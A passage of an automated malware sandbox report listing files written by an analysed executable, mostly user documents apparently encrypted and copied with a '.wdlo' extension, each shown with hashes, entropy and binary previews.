SHA-512:	217FD664B1B921BF4F0D9254775714A2CDC9192DE096299C943889336F0E270AB0EDADADCAC833396C74804A22426E90BC1A12C86D9617DA0A05BE786F1047FE
Malicious:	false
Preview:	EIVQS...L./u../.....g0..G.a...Kf...epJj...^..[..8.f....6.B......Hkwa..mB.M\|eF......8..1.e.J>#..+4.O..g..!.c.~...0. w..........w.p..F.......=.v....!..T[-A.{...v .P.i.fK...E..$2.....-6......W..1..E$s..I.J".....>B...H.[..G0..wb..K^f@../_F....`.S...^...O...Y4.+\|..D..G6~.E=E..L.......w.+Y7H...i..........C..-....&.K..%1<.nl....... . "R...C.=y6........._....D...Ke^(.........]....T.....f.,>........./...c..Fo`.......4..o...T./...../,..mY....!...U...h...Q....\...9...k..........l.jZa9..S.w..%.=.8........j.........D.4.u.....%..a^./...A...`u..X..x......;.1...?)G..P...).v.......6....3zZ9=.7..q..e...^H..3v.....c.....XZ.T.F.t...VF.$.Q.m.5.r......))y.......Ci#m..}.$.Bs..<c....r....l.y....8.WVbL..e.N.....gjvv...G.0.^1...F.:w.......;.E .pS.....#h.)/6......}......4....^b.v..}..3....1..@.......yws6t./Q.....5.....2zA.>.....;.e..k...r...n.."..w..V....V.}.GT..>.....>...:.w.^._....s..0.s.u!..<Wkw....2_....<...^..l..7..ys..1p.YBC.g..........<_i...1V

C:\Users\user\Documents\EIVQSAOTAQ.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8327748994581725
Encrypted:	false
SSDEEP:	24:RztJ+pVIwFmZETkcmNxz3OnRayqpmrXgy8YtQURRmu2LveBIZlTOQAeOwRO3zbD:HIIwFmOTpOzORNqmUYtjRmheBalnAeOP
MD5:	1CA128E5D70C91203AF3DA71DBA88136
SHA1:	BF52101454E92A208B6EBEDFED358B5AC7BB1FB6
SHA-256:	F0619FE7D93CF30AC92D999D7643F4D883DD61E1595D1066DE0AE7089AC0F2CF
SHA-512:	217FD664B1B921BF4F0D9254775714A2CDC9192DE096299C943889336F0E270AB0EDADADCAC833396C74804A22426E90BC1A12C86D9617DA0A05BE786F1047FE
Malicious:	false
Preview:	EIVQS...L./u../.....g0..G.a...Kf...epJj...^..[..8.f....6.B......Hkwa..mB.M\|eF......8..1.e.J>#..+4.O..g..!.c.~...0. w..........w.p..F.......=.v....!..T[-A.{...v .P.i.fK...E..$2.....-6......W..1..E$s..I.J".....>B...H.[..G0..wb..K^f@../_F....`.S...^...O...Y4.+\|..D..G6~.E=E..L.......w.+Y7H...i..........C..-....&.K..%1<.nl....... . "R...C.=y6........._....D...Ke^(.........]....T.....f.,>........./...c..Fo`.......4..o...T./...../,..mY....!...U...h...Q....\...9...k..........l.jZa9..S.w..%.=.8........j.........D.4.u.....%..a^./...A...`u..X..x......;.1...?)G..P...).v.......6....3zZ9=.7..q..e...^H..3v.....c.....XZ.T.F.t...VF.$.Q.m.5.r......))y.......Ci#m..}.$.Bs..<c....r....l.y....8.WVbL..e.N.....gjvv...G.0.^1...F.:w.......;.E .pS.....#h.)/6......}......4....^b.v..}..3....1..@.......yws6t./Q.....5.....2zA.>.....;.e..k...r...n.."..w..V....V.}.GT..>.....>...:.w.^._....s..0.s.u!..<Wkw....2_....<...^..l..7..ys..1p.YBC.g..........<_i...1V

C:\Users\user\Documents\EWZCVGNOWT.png

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860345847343945
Encrypted:	false
SSDEEP:	24:WY9tY2bZiMqgQcZrmIw19hrZ0BwVeC+XW1SBWq3/euW/3rmJxsx6MVGYBsP1MInT:19tY2bIGNrmj19uN58qPtC3rDRKMIn3D
MD5:	E37FAEA5218F4BB7B7261565C4942C6E
SHA1:	96B6947B0F392D9FE7D592DCF65A9546B21EA7D5
SHA-256:	A30DB8C5E70FB2DCA6FC9DAC71C23018D856AF5C665ADA7F41D3AB9092F65BF1
SHA-512:	509ABA10E376D2F79A283869F04A3B6D90B755ACC1EFFC0868721C865F629237E1F0586B26B899A409D1DCA4AE63D03F3F30592B273DCFEFE9F57D7991F630A1
Malicious:	false
Preview:	EWZCV.....<x....(..m....0_....y..K{j..Tz....%.i...P,......I,...C.4.H......=v..F.^oU.........)M...........).!.T$]q..5..+.....7...f[...<.h.N....y=.>2...z...._36....u...........jOW6...)...Y.qth_..v.a.lq. R$.B.+$N...0.>L.....W.:L..'K.mA.A.Q{.&csw...s......In.<Ge.T.....nA.6... 4...?,..R.-."..:..-38..S...S.s.'..8..4..N.....pW.$+..+X..a).y(.Y..p.c.T...v].s..L..z...L..D...C...N-..>....}..g..5......K....`..ri.....`@.o..#.{1.....b...{.<..+.;.~.#...WJ:...{.....V7lj.A3.7...C....'......a.[$....o.{....l..x.'a.O$PN}..+2.......A{.!...A..=.2.F<{.#....b..&H..4,..\|:..7....n....t.`\9.G\|...?.gN.cu......b..U2...H2M.4..Pp......\|.b...=...nW......%.m..1.....#7.d../"....p..$...Q.!!$........Lv.o.......!.cT..)i.:...z.u.r.i.4..t.3..f.~,.(...;.......@R(.O....1.))@.......c@..a"...(./Yd(c.9....\|..............."...q...A.."..'.K&..o.4..G-...W0m..Ify}.\;.G2..^.Z....7....Ti?@n1...\Zr...;.{.......d...M.}d.?.....R.q.9.....4@..B&.7..A.W.V..:.a....?k...i..E.{.....

C:\Users\user\Documents\EWZCVGNOWT.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860345847343945
Encrypted:	false
SSDEEP:	24:WY9tY2bZiMqgQcZrmIw19hrZ0BwVeC+XW1SBWq3/euW/3rmJxsx6MVGYBsP1MInT:19tY2bIGNrmj19uN58qPtC3rDRKMIn3D
MD5:	E37FAEA5218F4BB7B7261565C4942C6E
SHA1:	96B6947B0F392D9FE7D592DCF65A9546B21EA7D5
SHA-256:	A30DB8C5E70FB2DCA6FC9DAC71C23018D856AF5C665ADA7F41D3AB9092F65BF1
SHA-512:	509ABA10E376D2F79A283869F04A3B6D90B755ACC1EFFC0868721C865F629237E1F0586B26B899A409D1DCA4AE63D03F3F30592B273DCFEFE9F57D7991F630A1
Malicious:	false
Preview:	EWZCV.....<x....(..m....0_....y..K{j..Tz....%.i...P,......I,...C.4.H......=v..F.^oU.........)M...........).!.T$]q..5..+.....7...f[...<.h.N....y=.>2...z...._36....u...........jOW6...)...Y.qth_..v.a.lq. R$.B.+$N...0.>L.....W.:L..'K.mA.A.Q{.&csw...s......In.<Ge.T.....nA.6... 4...?,..R.-."..:..-38..S...S.s.'..8..4..N.....pW.$+..+X..a).y(.Y..p.c.T...v].s..L..z...L..D...C...N-..>....}..g..5......K....`..ri.....`@.o..#.{1.....b...{.<..+.;.~.#...WJ:...{.....V7lj.A3.7...C....'......a.[$....o.{....l..x.'a.O$PN}..+2.......A{.!...A..=.2.F<{.#....b..&H..4,..\|:..7....n....t.`\9.G\|...?.gN.cu......b..U2...H2M.4..Pp......\|.b...=...nW......%.m..1.....#7.d../"....p..$...Q.!!$........Lv.o.......!.cT..)i.:...z.u.r.i.4..t.3..f.~,.(...;.......@R(.O....1.))@.......c@..a"...(./Yd(c.9....\|..............."...q...A.."..'.K&..o.4..G-...W0m..Ify}.\;.G2..^.Z....7....Ti?@n1...\Zr...;.{.......d...M.}d.?.....R.q.9.....4@..B&.7..A.W.V..:.a....?k...i..E.{.....

C:\Users\user\Documents\GLTYDMDUST.png

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846076450596
Encrypted:	false
SSDEEP:	24:TjLQxQRs11wPj5wIYo4nkemxGXiBN6F0d5ESErWNkq6FIOTxDaNdNRx3zbD:TjUPg6/ockeXSBN6jPrJ7TxDaNHRx3nD
MD5:	6A1A46868266BE29B620B3C623795400
SHA1:	89FD827DAC883BB198C8CC0E011D2E6FC3A86875
SHA-256:	BC55A5AFA5C943BFD78845518C7ED9D69E8EF253338993912BC3E406CAE5377B
SHA-512:	549B42E3800DCCA644D25BDBDD91823FE0019EAA3C27912B39FB5106F00D93BEBA4FA3D6438C00B6677C867B849180FABA60B071A100818715C7457E217C70DD
Malicious:	false
Preview:	GLTYD?.qN.O.-...N..@.T..".Q...:V...sYCY_..TN..Fn..~..9..jO.$ps'.j..;.h...u.OI.....g.......b....Yj..P.........M.Do>...)j...K...u.B.....(...n.#.&....P.!.3..~[d.;.#..utm...Gnh.]9.<..+....,.....$.$..kC...).P[....bV&\.3.....z.."...........ncN..-../A..M.h...(.'$.v... \|G...u.k..Y...V..[...:.:..O......?..S.J...?<<..:V.....Vd.x.fA[.?z..8S.\|1....XR..a......[p..;.........Q.aG.5...?...:T.L&.7...EY....dE.5..K+~.3..t.:.@.... ...Q.....L..l.....G_.z..G,...x!.nxW.s.u.M.C.M.o\|..o........m.pU.@."].R.....L0S...v.....\|..D#I...7p.%`.M.2...1..7..C..b.-...v.K.:...8.Q.9..g..>.`u.K..f...6...M..X...9..o.$.aC...b.L...[:..........\|>.(F..}.N..h..u..........D..{.`.57:.YbE{..8k..q.....,..B..Y.6..F....X2....2...S+.^...7o...-..f.J.....fhq.t.t.%.4G.^......&.W.X@&2..`.'Q.{.b.....8Z*...cB....7.L...El9c,X.X$.\|...H_o....,....\x.:......h...r.,.....;.L..5b....."N.cT/'J&.....6.j.;.{...'.e_..fp.T...>...s%...f.=.&..(..t.....Y.....q.....P.y...n...!...::.....5....N..hSq..f.....LxK..

C:\Users\user\Documents\GLTYDMDUST.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846076450596
Encrypted:	false
SSDEEP:	24:TjLQxQRs11wPj5wIYo4nkemxGXiBN6F0d5ESErWNkq6FIOTxDaNdNRx3zbD:TjUPg6/ockeXSBN6jPrJ7TxDaNHRx3nD
MD5:	6A1A46868266BE29B620B3C623795400
SHA1:	89FD827DAC883BB198C8CC0E011D2E6FC3A86875
SHA-256:	BC55A5AFA5C943BFD78845518C7ED9D69E8EF253338993912BC3E406CAE5377B
SHA-512:	549B42E3800DCCA644D25BDBDD91823FE0019EAA3C27912B39FB5106F00D93BEBA4FA3D6438C00B6677C867B849180FABA60B071A100818715C7457E217C70DD
Malicious:	false
Preview:	GLTYD?.qN.O.-...N..@.T..".Q...:V...sYCY_..TN..Fn..~..9..jO.$ps'.j..;.h...u.OI.....g.......b....Yj..P.........M.Do>...)j...K...u.B.....(...n.#.&....P.!.3..~[d.;.#..utm...Gnh.]9.<..+....,.....$.$..kC...).P[....bV&\.3.....z.."...........ncN..-../A..M.h...(.'$.v... \|G...u.k..Y...V..[...:.:..O......?..S.J...?<<..:V.....Vd.x.fA[.?z..8S.\|1....XR..a......[p..;.........Q.aG.5...?...:T.L&.7...EY....dE.5..K+~.3..t.:.@.... ...Q.....L..l.....G_.z..G,...x!.nxW.s.u.M.C.M.o\|..o........m.pU.@."].R.....L0S...v.....\|..D#I...7p.%`.M.2...1..7..C..b.-...v.K.:...8.Q.9..g..>.`u.K..f...6...M..X...9..o.$.aC...b.L...[:..........\|>.(F..}.N..h..u..........D..{.`.57:.YbE{..8k..q.....,..B..Y.6..F....X2....2...S+.^...7o...-..f.J.....fhq.t.t.%.4G.^......&.W.X@&2..`.'Q.{.b.....8Z*...cB....7.L...El9c,X.X$.\|...H_o....,....\x.:......h...r.,.....;.L..5b....."N.cT/'J&.....6.j.;.{...'.e_..fp.T...>...s%...f.=.&..(..t.....Y.....q.....P.y...n...!...::.....5....N..hSq..f.....LxK..

C:\Users\user\Documents\GRXZDKKVDB.docx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840442671799231
Encrypted:	false
SSDEEP:	24:vIeGGDfjza2cT1FLrJtJfNgTZDx3yBklgBY0sQFEwDO94rKN3zbD:vBFznExJtBN6Ck4Ns6xDON3nD
MD5:	EDE6F1890B47B33165B1C97C90C230D9
SHA1:	5470B5E27E4246EEBF942CE2C314FD4F2D47A860
SHA-256:	008C59D682DE26DDF5D5004379D07585BA82BF5B31AD5EA4D88D46A1E702BC8A
SHA-512:	6FE1A5CCF27C7D0D38719AD3E8A0C6AB863B85C63AEAE4D08BF02F5378EEE295587CF80467EECCC7A35F948485C165126C35B5382CC8AC8E7B1C04A237459A1B
Malicious:	false
Preview:	GRXZD...o.S..Tc..CI....z.V.....W.BV...c...vm^.E..<]..N...z:..]..Z~.9.v.....2.%?...->.. ;.gm.5:.}.D..:.xCM...H..;.l.%.n.....J....Ri../g?$]or.B~.._......"....O......t...di.......`O'">...7..O.Q..W.b.=...jy2l..G.Q).,Ge".6O<X......qp......t[....8.+.....s....vH.+..;@...T...iu..b`.8...%.+6.+N.5....z......?{..JG8.=;.@..m3A<.....m....a2_..g.(8..P......AJ.`!.]M....S.2>/.0.X.\|Wu}v..0i.m....V.).vVi.k..#F.._.q5.9...D...B._:..u.2j..F.Y..t.X.;.bw...]=....:....-D..$.._..[..\..9.0P.l...r...6...j.!....'+.........{..V..5.....=...M...V.O...DX;.W....."...M.....4y...8.........M.4.0UZRQ..A.$.,^v...<BA..f...5.L.B...A.f....s.\|..]d.../:g.f..3.L..ss.e.9...b;..../...b.{..$e........A./...P.J7..I..S..Tm...h.;I...l..sQ.v.I)...+A....!=.O....gt.<t@{mqb.5......f....7 .y...\........D....'.0.z.F<'.5.H.K.\|.y6zU.....#}R........,$mZ..T....M.D....j.;W1.5...NY.@OH.~...O...c'..x.......Y..i..$..~N}._.B>B....g!..3.Dtc8.&....,.>..J.E...T...._.jT.M.})...r.S.@...f...`..l..<.

C:\Users\user\Documents\GRXZDKKVDB.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840442671799231
Encrypted:	false
SSDEEP:	24:vIeGGDfjza2cT1FLrJtJfNgTZDx3yBklgBY0sQFEwDO94rKN3zbD:vBFznExJtBN6Ck4Ns6xDON3nD
MD5:	EDE6F1890B47B33165B1C97C90C230D9
SHA1:	5470B5E27E4246EEBF942CE2C314FD4F2D47A860
SHA-256:	008C59D682DE26DDF5D5004379D07585BA82BF5B31AD5EA4D88D46A1E702BC8A
SHA-512:	6FE1A5CCF27C7D0D38719AD3E8A0C6AB863B85C63AEAE4D08BF02F5378EEE295587CF80467EECCC7A35F948485C165126C35B5382CC8AC8E7B1C04A237459A1B
Malicious:	false
Preview:	GRXZD...o.S..Tc..CI....z.V.....W.BV...c...vm^.E..<]..N...z:..]..Z~.9.v.....2.%?...->.. ;.gm.5:.}.D..:.xCM...H..;.l.%.n.....J....Ri../g?$]or.B~.._......"....O......t...di.......`O'">...7..O.Q..W.b.=...jy2l..G.Q).,Ge".6O<X......qp......t[....8.+.....s....vH.+..;@...T...iu..b`.8...%.+6.+N.5....z......?{..JG8.=;.@..m3A<.....m....a2_..g.(8..P......AJ.`!.]M....S.2>/.0.X.\|Wu}v..0i.m....V.).vVi.k..#F.._.q5.9...D...B._:..u.2j..F.Y..t.X.;.bw...]=....:....-D..$.._..[..\..9.0P.l...r...6...j.!....'+.........{..V..5.....=...M...V.O...DX;.W....."...M.....4y...8.........M.4.0UZRQ..A.$.,^v...<BA..f...5.L.B...A.f....s.\|..]d.../:g.f..3.L..ss.e.9...b;..../...b.{..$e........A./...P.J7..I..S..Tm...h.;I...l..sQ.v.I)...+A....!=.O....gt.<t@{mqb.5......f....7 .y...\........D....'.0.z.F<'.5.H.K.\|.y6zU.....#}R........,$mZ..T....M.D....j.;W1.5...NY.@OH.~...O...c'..x.......Y..i..$..~N}._.B>B....g!..3.Dtc8.&....,.>..J.E...T...._.jT.M.})...r.S.@...f...`..l..<.

C:\Users\user\Documents\GRXZDKKVDB.jpg

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8453551540262465
Encrypted:	false
SSDEEP:	24:R26Kjx40HX9BBVPBMQF28kOqXFnyFUoJxoPooJZd33zbD:RVKjxnX9BzzszOecxq33nD
MD5:	2CAB67103F9FBCFAD93551FED8AF6000
SHA1:	D0F7C94FB8529D69042AD16FD3D14AEA31275F1E
SHA-256:	ED5620C1A69E59921DFD3FFEDC4E91DAF97E3B80BE982B8B7D876B9DB11D0D3B
SHA-512:	37AFCA0A0EC973D1A2A0BCE74995C1C8B3BC7FB67658F72FBE46124705560414CDD5C3FCB040A6678EF5E778D79F5298130ED96455AAB76A38A150537038F2DF
Malicious:	false
Preview:	GRXZD.....3.HUR.;...79...94:p.l.....@.........#...x.#...8.1.W....c....F..TDM}.RGL..}.xLe...W.g..Fe..H3.v2?.~....Ij.3..P8...r.-. .,.J......}.L..\|.6H..>;6zj._.+..\|o....J@...9.={...6..^..e..u[...V....'....C...c.${.1..l...5....v.....R...G9K^.......p..K......J....8......AU0ze..$.....Kg.}e....aP.=...-..$]F....Or..Kc.-.,.../c...`x.fU.f3.".d.a...X.S.d...@...;.....,r.6......pB..........U..3.......]7.... ....o0..ux.......d..s..(P49..d+.M.....&.6..P.Q.,*.a."..v[ ..l....UE.A.....2)..Q..'y..=...e.x(."\|..........<9..3.7.....f$Y...~.]..t....k..3...!.....;..X...'....m7..?O....J...n._.....2i..{A"..........6.Qo@.l..k...u.j}...?.....B.../..6X...J.i.....y..dO..p.I....@.\...q.:.v...[...(w........f......d.V...!.....2.TE(c,.'....r..8+............e.-.\.e..1J7..$.....:....@.@.%..K]]+.....%.H....!../6..d.W.h.uG....Rtwl.....=.i..{...F..g.].Ba..@..E....R,.h..o..iFD..6~.4,<.....H...ENO. (...i....k....Zm.D. .....Z.+#......=.>L.@Z.A....{...C0....4..!u../.?.O....#>..B~..

C:\Users\user\Documents\GRXZDKKVDB.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8453551540262465
Encrypted:	false
SSDEEP:	24:R26Kjx40HX9BBVPBMQF28kOqXFnyFUoJxoPooJZd33zbD:RVKjxnX9BzzszOecxq33nD
MD5:	2CAB67103F9FBCFAD93551FED8AF6000
SHA1:	D0F7C94FB8529D69042AD16FD3D14AEA31275F1E
SHA-256:	ED5620C1A69E59921DFD3FFEDC4E91DAF97E3B80BE982B8B7D876B9DB11D0D3B
SHA-512:	37AFCA0A0EC973D1A2A0BCE74995C1C8B3BC7FB67658F72FBE46124705560414CDD5C3FCB040A6678EF5E778D79F5298130ED96455AAB76A38A150537038F2DF
Malicious:	false
Preview:	GRXZD.....3.HUR.;...79...94:p.l.....@.........#...x.#...8.1.W....c....F..TDM}.RGL..}.xLe...W.g..Fe..H3.v2?.~....Ij.3..P8...r.-. .,.J......}.L..\|.6H..>;6zj._.+..\|o....J@...9.={...6..^..e..u[...V....'....C...c.${.1..l...5....v.....R...G9K^.......p..K......J....8......AU0ze..$.....Kg.}e....aP.=...-..$]F....Or..Kc.-.,.../c...`x.fU.f3.".d.a...X.S.d...@...;.....,r.6......pB..........U..3.......]7.... ....o0..ux.......d..s..(P49..d+.M.....&.6..P.Q.,*.a."..v[ ..l....UE.A.....2)..Q..'y..=...e.x(."\|..........<9..3.7.....f$Y...~.]..t....k..3...!.....;..X...'....m7..?O....J...n._.....2i..{A"..........6.Qo@.l..k...u.j}...?.....B.../..6X...J.i.....y..dO..p.I....@.\...q.:.v...[...(w........f......d.V...!.....2.TE(c,.'....r..8+............e.-.\.e..1J7..$.....:....@.@.%..K]]+.....%.H....!../6..d.W.h.uG....Rtwl.....=.i..{...F..g.].Ba..@..E....R,.h..o..iFD..6~.4,<.....H...ENO. (...i....k....Zm.D. .....Z.+#......=.>L.@Z.A....{...C0....4..!u../.?.O....#>..B~..

C:\Users\user\Documents\GRXZDKKVDB\DUUDTUBZFW.xlsx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845965415723495
Encrypted:	false
SSDEEP:	24:1S/TlQCLb6veKKBrDmQ6fTlaoJl4fcqykC626b4Wpm5ug3zbD:s/TlQebWI8QoJCEqyk/2C4W6J3nD
MD5:	257C0C823CF04737993B546D33EB935A
SHA1:	B0B1B3FDDD7D5C4C0BF10863C7791C8863392BD0
SHA-256:	AFCF1C1EE35B30E148E05591865A7D98C7E1487AAAB0DF58975D027D1E71E039
SHA-512:	04430A636505E701E56FC61C61F78134ED7E73FCA105CA1A3C9E170A585A98125DEA1F95992A2E18A719DB0F43EF06477F69A639F5E4661ACCC8C896FE978A0F
Malicious:	false
Preview:	DUUDT.}.uc..>.Pe..<.......S+...Y.\q....*j(;...VY.:.`l.rY.QAL.Vtt.&...N.6rQ..cd.........S..FK5.q......q......&./D.......!..0.l..[....2..@_.d...4s..=..qG..\|~.T.Bv.E........Ai....W...@.......n.......$.....,t.q.[.`.3..Y...7..k.1d...<.b..Lc..X.?.....zD..m..7...&IzK.F.........'oS.(..........N...J.<..X.v.S.]...;.W.].....f...iS?...S..uyiG...V8B..^..<.N.xX...RP-Y..l...%..3.....?..+..#.F7.FH..^n..D..:..)?......G.......x.6O..\|.....y..E.g..&...4.Q..y3......]1B.LV.3\|..N!..PBC...g.xG....E.r...0..r.X.."..?.ov...\.j..r)O.._..DGB.t....tO....&.4yA..\|...B...O..s...[Z)6..i.{...x..,s4S...'...SL.}...h.6....Yr.I@.=fWz..r...a..5.k.m\|...V,b.KTi`nA...#.m{.......8:....@.:....q.D..vV.v)q..... .g2.K+........W..U..c..j\)2c.{.EN.r<.I..e.....&;.....Cq,6's.;i..#L._..v...L.....B.0...F...9...<.RM....@K...6..$..{.}..M&b....i........,.%...=.$d"._..TH..,..t......E....~A....k...Q..."+z....j_..j2.g.;I.@.=)g.E.zNb>.9.L..$.6.....>7p."v.b..Y.D.m...$P....7xS.N.lR...n1t..~..\.......v.

C:\Users\user\Documents\GRXZDKKVDB\DUUDTUBZFW.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845965415723495
Encrypted:	false
SSDEEP:	24:1S/TlQCLb6veKKBrDmQ6fTlaoJl4fcqykC626b4Wpm5ug3zbD:s/TlQebWI8QoJCEqyk/2C4W6J3nD
MD5:	257C0C823CF04737993B546D33EB935A
SHA1:	B0B1B3FDDD7D5C4C0BF10863C7791C8863392BD0
SHA-256:	AFCF1C1EE35B30E148E05591865A7D98C7E1487AAAB0DF58975D027D1E71E039
SHA-512:	04430A636505E701E56FC61C61F78134ED7E73FCA105CA1A3C9E170A585A98125DEA1F95992A2E18A719DB0F43EF06477F69A639F5E4661ACCC8C896FE978A0F
Malicious:	false
Preview:	DUUDT.}.uc..>.Pe..<.......S+...Y.\q....*j(;...VY.:.`l.rY.QAL.Vtt.&...N.6rQ..cd.........S..FK5.q......q......&./D.......!..0.l..[....2..@_.d...4s..=..qG..\|~.T.Bv.E........Ai....W...@.......n.......$.....,t.q.[.`.3..Y...7..k.1d...<.b..Lc..X.?.....zD..m..7...&IzK.F.........'oS.(..........N...J.<..X.v.S.]...;.W.].....f...iS?...S..uyiG...V8B..^..<.N.xX...RP-Y..l...%..3.....?..+..#.F7.FH..^n..D..:..)?......G.......x.6O..\|.....y..E.g..&...4.Q..y3......]1B.LV.3\|..N!..PBC...g.xG....E.r...0..r.X.."..?.ov...\.j..r)O.._..DGB.t....tO....&.4yA..\|...B...O..s...[Z)6..i.{...x..,s4S...'...SL.}...h.6....Yr.I@.=fWz..r...a..5.k.m\|...V,b.KTi`nA...#.m{.......8:....@.:....q.D..vV.v)q..... .g2.K+........W..U..c..j\)2c.{.EN.r<.I..e.....&;.....Cq,6's.;i..#L._..v...L.....B.0...F...9...<.RM....@K...6..$..{.}..M&b....i........,.%...=.$d"._..TH..,..t......E....~A....k...Q..."+z....j_..j2.g.;I.@.=)g.E.zNb>.9.L..$.6.....>7p."v.b..Y.D.m...$P....7xS.N.lR...n1t..~..\.......v.

C:\Users\user\Documents\GRXZDKKVDB\EIVQSAOTAQ.pdf

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859365318434918
Encrypted:	false
SSDEEP:	24:RQyg3yIFAibbvSL7O6jkAZu2E7vBJgNy7gOxtD/gkp0/yyEZWbTM8XzwYVaofD3D:OqmbvOO6jJZNgBJgNuskDP0E8jbVaofH
MD5:	5C951F2356ED94D3B3F296B856A8A795
SHA1:	068AC2216F803A69AF73AF956AF9BC15E765F010
SHA-256:	BB8CF091811CCC46F1E15C619AF0EB552CFF01A01271B7D890750178B0469D32
SHA-512:	9CBF91F32EB483005DEDC8E1779290E7CB49A1BEF7E3004C0B5E6C49E429A75D49391D12A709B5E4DC61CA8ED8E1DD7DD51B348036BA89AD21DC8B0E256C00F9
Malicious:	false
Preview:	EIVQS]._.W..\|......=.&&.#.N)5\|p..A..^F..;.J.....W\..".+.K1.p..O..):%.............O..Mvc..^.B.N.]..jK.R.....E.].$.E>.G..\|.M.eT8..v....3m0.`......../.^...... \...a.J.I.........__#.x._8..Gcb.:x...F.."{..q....]...D.4........ ...q]..YM...K...2.......3......:...R'.ye.;G....j....rp(. .._...OA.Jd.Bo....y.u`GC8.u..$I..5@..,.....C.I.p.8...1...Q.K....w...QS.T.#..P.z......a..;.f.......;..r&..;..^cm8.B.^..m.cN.)...8.,>.(Y>.......s.j~#N.^.T..2.x..-.u...3.O^...(...\.6..... ....1.y..j..nk.M.y.+. ..nR}..Y..W..zL..[.......HbR.......".v. .....?..<.,...I..D...Vm.....y{9.m.G..s/.Z......qd..s..V bF..b............WTo...os..1.z.zy'..jQR@p..#.Z.1.Z..Ys.s,Q..0...7Qc...z.q...::0.>.;..D...4...B...T).p.21.mn..pO.2x.....g .....f...._.!m...m..3........T.7..X.T.&U...z.+-...{.?#+-..Em.6A.g........cJ.Hv..*.........c.."9)jC.....)..X.,.......-.n.o"......'r..e.?./.......X0..i....K.,..lw.X......H>..o.rSq.r.m..._..}c...19(^..<..)K..G.3.....$kK....YB....o.....9..5...l..+.C..F;.

C:\Users\user\Documents\GRXZDKKVDB\EIVQSAOTAQ.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859365318434918
Encrypted:	false
SSDEEP:	24:RQyg3yIFAibbvSL7O6jkAZu2E7vBJgNy7gOxtD/gkp0/yyEZWbTM8XzwYVaofD3D:OqmbvOO6jJZNgBJgNuskDP0E8jbVaofH
MD5:	5C951F2356ED94D3B3F296B856A8A795
SHA1:	068AC2216F803A69AF73AF956AF9BC15E765F010
SHA-256:	BB8CF091811CCC46F1E15C619AF0EB552CFF01A01271B7D890750178B0469D32
SHA-512:	9CBF91F32EB483005DEDC8E1779290E7CB49A1BEF7E3004C0B5E6C49E429A75D49391D12A709B5E4DC61CA8ED8E1DD7DD51B348036BA89AD21DC8B0E256C00F9
Malicious:	false
Preview:	EIVQS]._.W..\|......=.&&.#.N)5\|p..A..^F..;.J.....W\..".+.K1.p..O..):%.............O..Mvc..^.B.N.]..jK.R.....E.].$.E>.G..\|.M.eT8..v....3m0.`......../.^...... \...a.J.I.........__#.x._8..Gcb.:x...F.."{..q....]...D.4........ ...q]..YM...K...2.......3......:...R'.ye.;G....j....rp(. .._...OA.Jd.Bo....y.u`GC8.u..$I..5@..,.....C.I.p.8...1...Q.K....w...QS.T.#..P.z......a..;.f.......;..r&..;..^cm8.B.^..m.cN.)...8.,>.(Y>.......s.j~#N.^.T..2.x..-.u...3.O^...(...\.6..... ....1.y..j..nk.M.y.+. ..nR}..Y..W..zL..[.......HbR.......".v. .....?..<.,...I..D...Vm.....y{9.m.G..s/.Z......qd..s..V bF..b............WTo...os..1.z.zy'..jQR@p..#.Z.1.Z..Ys.s,Q..0...7Qc...z.q...::0.>.;..D...4...B...T).p.21.mn..pO.2x.....g 